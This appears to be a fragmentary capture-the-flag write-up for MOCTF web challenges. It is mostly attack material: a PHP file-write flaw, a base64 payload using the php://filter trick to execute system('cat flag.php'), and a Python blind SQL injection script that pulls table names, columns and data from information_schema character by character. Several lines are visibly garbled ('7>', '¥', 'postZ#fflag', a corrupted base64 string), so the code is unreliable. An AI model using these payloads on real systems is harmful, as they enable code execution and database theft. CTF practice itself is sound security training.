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answer:
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where is flag!

I have a flag

I have a frog!

ah~ guess where is flag!
There is no flag!
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GET /web7/frogflag.php HTTP/1.1

Host: 119.23.73.3:5001

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozlla/5.0 (Windows NT 10.0; WOW864) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8

Connection: close
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answer:
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<?php  show_source(__FILE_ ); $c="<?php exit;?>"; @$c.=$_POST['c']; @$filename=$_POST['file'];

if(!isset($filename)) { file_put_contents('tmp.php', '');
} @file_put_contents($filename, $c); include('tmp.php'); ?>
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<?php system('cat flag.php'); 7>
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payload:

c=aPD9waHAgc3lzdGVIKCdjY XQgZmxhZy5waHANKT sgPz4=&file=php://filter/write=convert.base64-decode/resource=tmp.php
postZ#fflag.
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import requests
import re
url = "http://119.23.73.3:5001/web10/index.php"
r = requests.get(url=url)
res_tr = r"'100'>(.*?)</textarea>"
flagtxt = re.findall(res_tr,r.content)[0]
re_moctf = r"moctf"
moctf = re.findall(re_moctf,flagtxt)
number = len(moctf)
data = {
"answer" :number
¥
url2 = "http://119.23.73.3:5001/web10/work.php"
s = requests.post(url=url2,data=data,cookies=r.cookies)
print s.content
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import requests
flag=""

for i in range(1,300):

for j in range(33,127):

# url = "http://119.23.73.3:5004/?
id=2""(ascii(mid((select(group_concat(TABLE_NAME))from(information_schema.TABLES)where(TABLE_SCHEMA=database())),"+str(i)+",1))="+str(j)+")"

# url = "http://119.23.73.3:5004/?
id=2""(ascii(mid((select(group_concat(COLUMN_NAME))from(information_schema.COLUMNS)where(TABLE_NAME='do_y0Ou_l1ke_long_t4ble_name')),"+str(i)+",1))="+str(j)+")"
url = "http://119.23.73.3:5004/?id=2""(ascii(mid((select(d0_you_als0_l1ke_very_long_column_name)from(do_yOu_I1ke_long_t4ble_name)),"+str(i)+",1))="+str(j)+")"
r=requests.get(url=url)

if "Tip" in r.content:

flag +=chr(j)

print flag

break
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